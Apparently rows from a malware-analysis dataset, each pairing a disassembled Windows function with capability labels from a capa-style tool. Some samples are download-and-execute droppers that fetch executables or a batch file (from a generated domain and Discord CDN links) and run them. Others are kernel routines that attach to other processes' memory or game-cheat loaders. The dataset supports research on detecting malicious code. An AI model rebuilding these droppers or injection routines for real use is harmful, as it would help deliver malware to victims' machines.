joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401209
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x40144d
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.155895293
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020aa]
mov r11, rax
lea rax, str.db_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilVarBindFree
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x401214
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x40144d
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.155895293
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020aa]
mov r11, rax
lea rax, str.db_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilVarBindFree
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x14004abf4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004ac3e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004ac3e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004ac3e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004ac3e
cmp dword [rcx + 0x84], 0xe
jbe 0x14004ac3e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14004ac40
xor al, al
add rsp, 0x28
ret
Function at 0x140011e8c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140011ed6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140011ed6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140011ed6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140011ed6
cmp dword [rcx + 0x84], 0xe
jbe 0x140011ed6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140011ed8
xor al, al
add rsp, 0x28
ret

Function at 0x1400166e4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400164e0
Function at 0x140019448
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140019478
xor eax, eax
jmp 0x14001953b
mov rbp, rbx
cmp word [rax], si
je 0x14001949d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140019484
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140019480
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140019368
movsxd r14, eax
test eax, eax
jne 0x1400194db
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140019471
mov rcx, r14
call fcn.14001706c
mov rdi, rax
test rax, rax
jne 0x1400194f4
xor ecx, ecx
call fcn.1400170cc
jmp 0x1400194d0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140019368
test eax, eax
jne 0x140019525
mov rcx, rdi
call fcn.1400170cc
jmp 0x14001952f
xor ecx, ecx
call fcn.1400170cc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14001c8a0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140018438
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001c92a
cmp byte [rbp - 0x21], r15b
je 0x14001c925
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14001c960
call fcn.14001aa1c
test eax, eax
jne 0x14001c94c
cmp byte [rbp - 0x21], r15b
je 0x14001c944
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14001c960
cmp byte [rbp - 0x21], r15b
je 0x14001c95d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140017a18
test eax, eax
jne 0x14001ca00
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140018438
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001c99f
cmp byte [rbp - 0x21], r15b
je 0x14001c9d4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14001c9d4
call fcn.14001aa1c
test eax, eax
jne 0x14001c9c0
cmp byte [rbp - 0x21], r15b
je 0x14001c9b9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14001c9d4
cmp byte [rbp - 0x21], r15b
je 0x14001c9d1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140017a18
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14001ca00
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14001ca03
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14001ca11
mov rcx, rdi
call fcn.1400170cc
cmp byte [rbp + 0x3f], r15b
je 0x14001ca20
mov rcx, qword [rbp + 0x27]
call fcn.1400170cc
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001070
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov dword [rsp + 0x20], 0x130
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x14000110a
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x14000110a
nop
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400010f3
inc rax
test ecx, ecx
jne 0x1400010e0
test edx, edx
je 0x140001136
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x1400010d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140001380
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
mov eax, dword [rsp + 0x28]
jmp 0x140001115
Function at 0x14000196c
Capabilities:
Attach user process memory

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
mov rbp, rsp
sub rsp, 0x60
and qword [rbp + 0x20], 0
lea rdx, [rbp + 0x20]
and qword [rbp + 0x28], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call qword [0x140011088]
test eax, eax
jns 0x1400019a4
xor eax, eax
jmp 0x140001a1e
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ntoskrnl.exe_PsGetProcessExitStatus]
mov rcx, qword [rbp + 0x20]
cmp eax, 0x103
je 0x1400019c1
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
jmp 0x1400019a0
lea rdx, [rbp - 0x30]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
lea r9, [rbp + 0x18]
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
lea rdx, [rbp + 0x28]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
js 0x140001a10
mov r8, qword [rbp + 0x18]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call fcn.14000f8c0
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x28]
call fcn.14000af2c
lea rcx, [rbp - 0x30]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rax, qword [rbp + 0x28]
add rsp, 0x60
pop rbp
ret

Function at 0x14000201c
Capabilities:
Attach user process memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x90
and qword [rbp + 0xf], 0
xorps xmm0, xmm0
and qword [rbp + 0x17], 0
mov r14, rdx
and qword [rbp + 7], 0
lea rdx, [rbp + 0xf]
movups xmmword [rbp + 0x1f], xmm0
mov rdi, r9
mov rsi, r8
movups xmmword [rbp + 0x2f], xmm0
movups xmmword [rbp + 0x3f], xmm0
call qword [0x140011088]
test eax, eax
jns 0x14000207a
mov eax, 0xc0000001
jmp 0x14000217f
mov rcx, qword [rbp + 0xf]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rcx, qword [rbp + 0xf]
lea rdx, [rbp + 0x1f]

Function at 0x1400047a4
Capabilities:
Attach user process memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rdi, rcx
mov rsi, rdx
mov rcx, r8
call fcn.14000dfa8
mov rbx, rax
test rax, rax
je 0x14000481a
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov rcx, rax
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call fcn.140004cc4
test rax, rax
je 0x14000481a
mov rdx, rdi
mov rcx, rax
call fcn.140004870
lea rcx, [rsp + 0x20]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rax, rbx
jmp 0x14000481c
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x1400021e4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000222e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000222e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000222e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000222e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000222e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002230
xor al, al
add rsp, 0x28
ret

Function at 0x140007264
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007090

Function at 0x140015b10
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140015b38
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140015b38
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400015e0
Capabilities:
Set console window title

Disassembly:
sub rsp, 0x58
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ecx, ecx
call fcn.1400014d0
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, [rsp + 0x28]
call fcn.140001830
nop
mov dword [rsp + 0x20], 0
jmp 0x140001621
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x14
jae 0x14000163c
call fcn.1400014f0
movzx edx, al
lea rcx, [rsp + 0x28]
call fcn.1400017d0
jmp 0x140001617
lea rcx, [rsp + 0x28]
call fcn.1400017b0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
nop
lea rcx, [rsp + 0x28]
call fcn.140001800
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400031d0
add rsp, 0x58
ret

Function at 0x1400016f0
Capabilities:
Manipulate console buffer

Disassembly:
sub rsp, 0x78
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor eax, eax
mov word [rsp + 0x30], ax
xor eax, eax
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx eax, word [rsp + 0x48]
movsx ecx, word [rsp + 0x4a]
imul eax, ecx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
mov r9d, dword [rsp + 0x30]
mov r8d, eax
mov dl, 0x20
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
movsx eax, word [rsp + 0x48]
movsx ecx, word [rsp + 0x4a]
imul eax, ecx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
mov r9d, dword [rsp + 0x30]
mov r8d, eax
mov dx, 7
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
mov edx, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400031d0
add rsp, 0x78
ret

Function at 0x140002580
Capabilities:
Download url
Execute command
Receive data

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140005558]
lea rdx, str.https:__cdn.discordapp.com_attachments_1137695862928179210_1166185474252079184_fivem_external.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [rsp + 0x30], eax
lea rcx, str.C:_Windows_IME_fivem_external
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x48
ret

Function at 0x1400025c0
Capabilities:
Download url
Execute command
Receive data

Disassembly:
sub rsp, 0x48
lea rcx, str.Starting_Cheat_And_Forcing_Eac_n
call fcn.140001670
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400056a8]
lea rdx, str.https:__cdn.discordapp.com_attachments_841398745841270794_854419538329862144_Eac.bat
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [rsp + 0x30], eax
lea rcx, str.C:_Windows_IME_Eac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140002580
add rsp, 0x48
ret
Function at 0x140002620
Capabilities:
Download url
Execute command
Receive data

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400057a8]
lea rdx, [0x1400057d8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:_Windows_IME_thename
lea rdx, str.The_Download_Link_here
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [rsp + 0x34], eax
lea rcx, str.start_C:_Windows_IME_thename_C:_Windows_IME_thename
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400025c0
add rsp, 0x48
ret
Function at 0x140003b7c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003bc6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003bc6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003bc6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003bc6
cmp dword [rcx + 0x84], 0xe
jbe 0x140003bc6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003bc8
xor al, al
add rsp, 0x28
ret
Function at 0x180001400
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rbx, rcx
movaps xmmword [rsp + 0x30], xmm6
lea rcx, [rsp + 0x60]
lea rdx, str.SDL3.dll
call fcn.1800023d0
lea r8, str.SDL_PeepEvents
mov rcx, rax
lea rdx, [rsp + 0x68]
call fcn.180003130
mov rcx, rax
mov rdx, qword [rax]
test rdx, rdx
je 0x180001459
add rdx, 3
mov qword [rax], rdx
test rdx, rdx
je 0x180001459
movsxd rax, dword [rdx]
add rdx, 4
add rdx, rax
mov qword [rcx], rdx
mov qword [rbx], rdx
lea rcx, [rsp + 0x60]
xor esi, esi
lea rdx, str.client.dll
mov qword [rbx + 8], rsi
mov byte [rbx + 0x10], sil
call fcn.1800023d0
mov edi, 0x5a4d
mov r8, qword [rax]
test r8, r8
je 0x1800014e4
cmp word [r8], di
jne 0x1800014e4
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
cmovne rdx, rsi
test rdx, rdx
je 0x1800014e4
movzx ecx, word [rdx + 0x14]
movzx eax, word [rdx + 6]
add rcx, 0x18
add rcx, rdx
lea rax, [rax + rax*4]
lea rdx, [rcx + rax*8]
cmp rcx, rdx
je 0x1800014e4
nop dword [rax]
test dword [rcx + 0x24], 0x20000000
je 0x1800014db
cmp dword [rcx], 0x7865742e
jne 0x1800014db
cmp byte [rcx + 4], 0x74
je 0x180001613
add rcx, 0x28
cmp rcx, rdx
jne 0x1800014c0
xorps xmm6, xmm6
lea rdx, str.USER32.dll
lea rcx, [rsp + 0x68]
call fcn.1800023d0
lea r8, str.MessageBoxA
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.180003130
lea rdx, str.panorama.dll
lea rcx, [rsp + 0x60]
mov rax, qword [rax]
mov qword [rbx + 0x28], rax
movups xmmword [rbx + 0x18], xmm6
call fcn.1800023d0
mov r8, qword [rax]
test r8, r8
je 0x180001594
cmp word [r8], di
jne 0x180001594
movsxd rcx, dword [r8 + 0x3c]
add rcx, r8
cmp dword [rcx], 0x4550
cmovne rcx, rsi
test rcx, rcx
je 0x180001594
movzx eax, word [rcx + 0x14]
add rax, 0x18
add rax, rcx
movzx ecx, word [rcx + 6]
lea rcx, [rcx + rcx*4]
lea rdx, [rax + rcx*8]
cmp rax, rdx
je 0x180001594
nop dword [rax + rax]
test dword [rax + 0x24], 0x20000000
je 0x18000158b
cmp dword [rax], 0x7865742e
jne 0x18000158b
cmp byte [rax + 4], 0x74
je 0x180001631
add rax, 0x28
cmp rax, rdx
jne 0x180001570
xorps xmm6, xmm6
lea rdx, str.USER32.dll
lea rcx, [rsp + 0x68]
call fcn.1800023d0
lea r8, str.MessageBoxA
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.180003130
mov rax, qword [rax]
mov qword [rbx + 0x40], rax
lea rax, [rbx + 0x268]
movups xmmword [rbx + 0x30], xmm6
mov byte [rbx + 0xd0], sil
movaps xmm6, xmmword [rsp + 0x30]
mov byte [rbx + 0x130], sil
mov byte [rbx + 0x230], sil
mov byte [rbx + 0x260], sil
mov qword [rax], 0xf4240
mov qword [rax + 8], rsi
mov qword [rax + 0xf4240], rax
mov rax, rbx
mov byte [rbx + 0xf44b0], sil
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
mov eax, dword [rcx + 0xc]
add rax, r8
mov qword [rsp + 0x20], rax
mov eax, dword [rcx + 8]
mov qword [rsp + 0x28], rax
movdqu xmm6, xmmword [rsp + 0x20]
jmp 0x1800014e7
mov ecx, dword [rax + 0xc]
add rcx, r8
mov qword [rsp + 0x20], rcx
mov ecx, dword [rax + 8]
mov qword [rsp + 0x28], rcx
movdqu xmm6, xmmword [rsp + 0x20]
jmp 0x180001597